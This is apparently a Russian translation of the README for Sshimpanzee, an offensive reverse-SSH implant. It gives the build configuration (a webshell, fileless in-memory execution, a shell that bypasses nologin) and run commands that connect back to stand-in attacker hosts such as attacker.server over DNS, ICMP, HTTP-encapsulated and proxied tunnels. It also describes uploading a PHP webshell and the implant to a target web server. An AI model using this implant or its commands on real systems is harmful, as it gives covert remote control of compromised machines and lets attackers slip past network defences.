
Имплант на основе SSHD, поддерживающий механизмы туннелирования для связи с C2 (DNS, ICMP, HTTP-инкапсуляция, HTTP/Socks прокси, UDP...)
Sshimpanzee позволяет создать статический обратный SSH-сервер. Вместо прослушивания порта и ожидания подключений, SSH-сервер инициирует обратное соединение с IP-адресом атакующего, как обычный reverse shell. Sshimpanzee позволяет использовать все возможности обычного SSH соединения, такие как проброс портов, динамические SOCKS-прокси или FTP-сервер.
Более того, если прямое соединение от машины жертвы к серверу атакующего невозможно, он предоставляет различные механизмы туннелирования, такие как DNS-туннелирование, ICMP-туннелирование или HTTP-инкапсуляцию. Он также поддерживает HTTP- и SOCKS5-прокси. Технический документ technical paper доступен в блоге lexfo.
sudo docker build . --output .
sudo docker build . --platform arm64 --output .
Возможно, потребуется включить переменную окружения DOCKER_BUILDKIT=1
Сборка производится на основе файла build.yaml:
###
# This is sshimpanzee build configuration file
# YAML is used to describe what behaviour and feature should the sshimpanzee get
###
### General config
process_name: "sshimpanzee" # Name of the process as it appears in ps (yet you won't be able to kill it with this name)
banner: True # Should the banner be displayed at log
verbose: 3 # Verbosity level as written in build/build.log
shell: "/bin/sh" # Default shell to pop for user, bypassing /etc/passwd entries with false or nologin as shell
timer: 60*1000*1000 # Time in milliseconds before a new sshimpanzee child is forked after exiting. For example in sock MODE, a new sshd connection will be made 1 minute after the previous one is dead
keygen: True # Re generate keys during build, insure a new HOST and CLIENT keys is used
public_key: #if new keys are not regenerated it is possible to specify a public client key to authenticate (only ed25519 keys are supported)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"
make: True # Keep it to true if you want the builder script to generate sshd binary
force_clean_build: True #Currently required for docker builds, will force builder script to recompile tunnels and dependances
reconf: True # Required for docker builds
### Environment
# sshimpanzee is configured at runtime through environment variables, yet, it is possible to preset environment variable, to get a default behavior
env:
if_not_set : # Variable here will be set if they do not already exists
REMOTE: 127.0.0.1
PORT: 8080
MODE: sock # MODE environment variable is used to manage the default tunnel
overwrite: # Variable here will overwrite already existent
### Tunnels
# sshimpanzee come with different tunneling mecanisms
# To speed up compilation time, and more importantly to get a lighter binary it is possible to include or exclude some tunnels
# Tunnel compilation parameters can be specified here
tun:
sock:
enabled: True
icmp:
enabled: True
buildserv: True # should the corresponding ICMPTunnel server be built
raw_sock: False # build with support for raw sock for older kernels
http_enc :
enabled: True
key: # web shell key, empty will result in a new key being generated
target:
- "php" # list of language you want to generate webshells for
path_fd: "/dev/shm/sshim" # Fifo that sshimpanzee will use to communicate with webshells
dns:
enabled: True
resource: sshimpanzee # DNS2TCP Resource
key: sshimpanzee # DNS2TCP key
obfuscate: True # obfuscating DNS2TCP Magic string, this will force the build of the corresponding srver
buildserv: False
qtype: TXT # Type of query used by DNS2TCP
proxysock:
enabled: True
no_build:
enabled: False
path: []
# Openssh subsystems
# man sshd_config Subsystems
subsystems:
internal_sftp: # standard sftp as provided by openssh
enabled: True # It is required for scp and sftp
name: sftp
exec: internal-sftp
is_internal: True
remote_exec: # Sshimpanzee custom subsystem
enabled: True # remote execution using fileless memfd technique
name: remote-exec
exec: internal-remote-exec
is_internal: True
python: # example of a stadard ssh subsystem
enabled: False
name: python
exec: /usr/bin/python -c "print('python code')"
is_internal: False
Во время выполнения бинарный файл sshimpanzee настраивается через переменные окружения.
Переменная MODE позволяет выбрать между скомпилированными туннелями.
Каждый туннель можно настроить через переменные окружения.
Например, для получения классического обратного подключения к 127.0.0.1:8080 используйте следующее:
MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee
Можно запустить sshimpanzee в отладочном режиме с флагом -d. В отладочном режиме sshimpanzee останется на переднем плане.
В настоящее время sshimpanzee поддерживает несколько способов, с помощью которых имплант может связаться с SSH-клиентом атакующего:
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee
Другие примеры:
MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee # bind and listen to 127.0.0.1:8080
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Connect to unix socket /tmp/sock
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Bind and listen to /tmp/sock unix socket
ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee
Другие примеры:
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080
sudo ./dns2tcpd -F -f dns2tcpdrc
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee
Другие примеры:
MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Force the use of 8.8.8.8 DNS Resolver
sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all
ssh i -oProxyCommand=./icmptunnel -i test/CLIENT
MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee
Загрузите файл /tuns/http_enc/proxy.php и файлы sshd на ваш целевой веб-сервер
Убедитесь, что proxy.php правильно выполняется
Запустите бинарный файл sshd на веб-сервере
MODE=http_enc ./sshimpanzee
ssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT
В proxy_cli.py можно передавать несколько аргументов для добавления прокси. В настоящее время поддерживается только PHP. На сервере JSP рекомендуется использовать: A Black Path Toward The Sun (ABPTTS)
Proxy.php — это минимальная веб-шелл. Вы можете использовать её для загрузки sshd на сервер и выполнения команд. proxy_cli.py предоставляет опции --run и --drop для этого.
Вы можете заметить значительную задержку ввода, это связано с тем, что к пакетам, отправляемым SSH-клиентом, добавляется задержка от 1 до 5 секунд, чтобы избежать слишком большого количества HTTP-запросов. Если вы не против большого числа HTTP-запросов (и, соответственно, большого количества логов на веб-сервере), добавьте опцию --no-buffer в команду proxy_cli.py.
Этот репозиторий также предоставляет клиент, расположенный в utils/client/bin. Просто скопируйте ключ CLIENT в utils/client/keys/
sshimpanzee --new PORT #create a new listener on PORT
sshimpanzee --new-dns #create a new DNS listener (Don't forget to modify utils/client/config/dnsconf.txt)
sshimpanzee --new-icmp #create a new icmp listener
sshimpanzee --new-http PROXY_PHP_URL #create a new HTTP Session
sshimpanzee --list #list availaible sessions
sshimpanzee --get SESSION_NUMBER #to jump into a session any extra parameters are passed as ssh params
sshimpanzee --rename SESSION_NUMBER #to rename a session
sshimpanzee --kill SESSION_NUMBER #to kill a session
sshimpanzee #use fzf to select which session you want
Однако это может быть менее надёжно, чем использование ssh напрямую.
Все туннели находятся в каталоге tuns/. Если вы хотите добавить ещё один туннель, просто добавьте функцию с именем вашего туннеля в tuns/builder.py. Эта функция отвечает за создание архива libtun.a, содержащего необходимое количество .o файлов, один из которых экспортирует символ tun(). Альтернативно, вы можете собрать libtun.a самостоятельно и использовать туннель с именем no_build, указав путь к вашему пользовательскому libtun.a
Если sshimpanzee собран с модулем подсистемы remote-exec, можно удалённо выполнять код полностью в памяти.
python remote_loader.py "ssh -vvvv t@t -S ./SOCKET -s remote-exec" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1
Этот репозиторий опирается на множество различных проектов.
Для туннелей:
Важно отметить, что это не очень оригинальный проект; использование SSH-протокола в качестве оружия уже было реализовано несколько лет назад: